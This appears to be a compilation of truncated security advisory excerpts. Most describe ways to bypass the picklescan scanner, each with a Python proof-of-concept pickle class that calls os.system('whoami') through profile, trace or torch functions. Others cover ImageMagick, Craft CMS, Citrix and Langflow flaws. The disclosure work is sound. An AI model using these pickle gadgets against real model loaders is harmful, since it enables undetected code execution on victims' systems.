#rce

### Summary Using profile.Profile.runctx, which is a built-in python library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to profile.Profile.runctx function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` class EvilProfileRunctx: def __reduce__(self): from profile import Profile payload = "__import__('os').system('whoami')" return Profile.runctx, (Profile(), payload, {}, {}) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when th...

### Summary Using profile.Profile.run, which is a built-in python library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to profile.Profile.run function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` class EvilProfileRun: def __reduce__(self): from profile import Profile payload = "__import__('os').system('whoami')" return Profile.run, (Profile(), payload) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loa...

### Summary Using trace.Trace.runctx, which is a built-in python library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to trace.Trace.runctx function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` class EvilTraceRunctx: def __reduce__(self): from trace import Trace payload = "__import__('os').system('whoami')" return Trace.runctx, (Trace(), payload, {}, {}) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is l...

### Summary Using trace.Trace.run, which is a built-in python library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to trace.Trace.run function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` class EvilTraceRun: def __reduce__(self): from trace import Trace payload = "__import__('os').system('whoami')" return Trace.run, (Trace(), payload) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain ...

Citrix has released fixes to address three security flaws in NetScaler ADC and NetScaler Gateway, including one that it said has been actively exploited in the wild. The vulnerabilities in question are listed below - CVE-2025-7775 (CVSS score: 9.2) - Memory overflow vulnerability leading to Remote Code Execution and/or Denial-of-Service CVE-2025-7776 (CVSS score: 8.8) - Memory overflow

## Summary A format string bug vulnerability exists in `InterpretImageFilename` function where user input is directly passed to `FormatLocaleString` without proper sanitization. An attacker can overwrite arbitrary memory regions, enabling a wide range of attacks from heap overflow to remote code execution. <br> ## Details ### root cause ``` MagickExport size_t InterpretImageFilename(const ImageInfo *image_info, Image *image,const char *format,int value,char *filename, ExceptionInfo *exception) { ... while ((cursor=strchr(cursor,'%')) != (const char *) NULL) { const char *q = cursor; ssize_t offset = (ssize_t) (cursor-format); cursor++; /* move past '%' */ if (*cursor == '%') { /* Escaped %%. */ cursor++; continue; } /* Skip padding digits like %03d. */ if (isdigit((int) ((unsigned char) *cursor)) != 0) (void) strtol(cursor,(char **) &cursor,10); switch (*cursor) ...

You must have administrator access, and `ALLOW_ADMIN_CHANGES` must be enabled for this to work. https://craftcms.com/knowledge-base/securing-craft#set-allowAdminChanges-to-false-in-production Note: This is a follow-up to [GHSA-f3cw-hg6r-chfv](https://github.com/craftcms/cms/security/advisories/GHSA-f3cw-hg6r-chfv) Users should update to the patched versions (4.16.6 and 5.8.7) to mitigate the issue. References: https://github.com/craftcms/cms/pull/17612

This vulnerability was discovered by researchers at **Check Point**. We are sharing this report as part of a responsible disclosure process and are happy to assist in validation and remediation if needed. ### Summary A privilege escalation vulnerability exists in Langflow containers where an authenticated user with RCE access can invoke the internal CLI command **langflow superuser** to create a new administrative user. This results in full superuser access, even if the user initially registered through the UI as a regular (non-admin) account. ### Details Langflow's Docker image includes a CLI binary at /app/.venv/bin/langflow that exposes sensitive commands, including: `langflow superuser` This command allows creation of a new superuser without checking whether one already exists. When combined with code execution (e.g., via the authenticated **/api/v1/validate/code** endpoint), a low-privileged user can execute: `/app/.venv/bin/langflow superuser` inside the container, and el...

### Summary Using torch.utils._config_module.load_config function, which is a pytorch library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to torch.utils._config_module.load_config function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` import pickle from torch.utils._config_module import ConfigModule class Evil: def __reduce__(self): return (os.system, ('whoami',)) class EvilTorchUtilsConfigModuleLoadConfig: def __reduce__(self): evil_payload = pickle.dumps(Evil()) return ConfigModule.load_config, (None, evil_payload) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malici...

### Summary Using torch.jit.unsupported_tensor_ops.execWrapper function, which is a pytorch library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to torch.jit.unsupported_tensor_ops.execWrapper function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` import torch.jit.unsupported_tensor_ops as unsupported_tensor_ops class EvilTorchJitUnsupportedTensorOpsExecWrapper: def __reduce__(self): code = '__import__("os").system("whoami")' glob = {} loc = {} return unsupported_tensor_ops.execWrapper, (code, glob, loc) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle...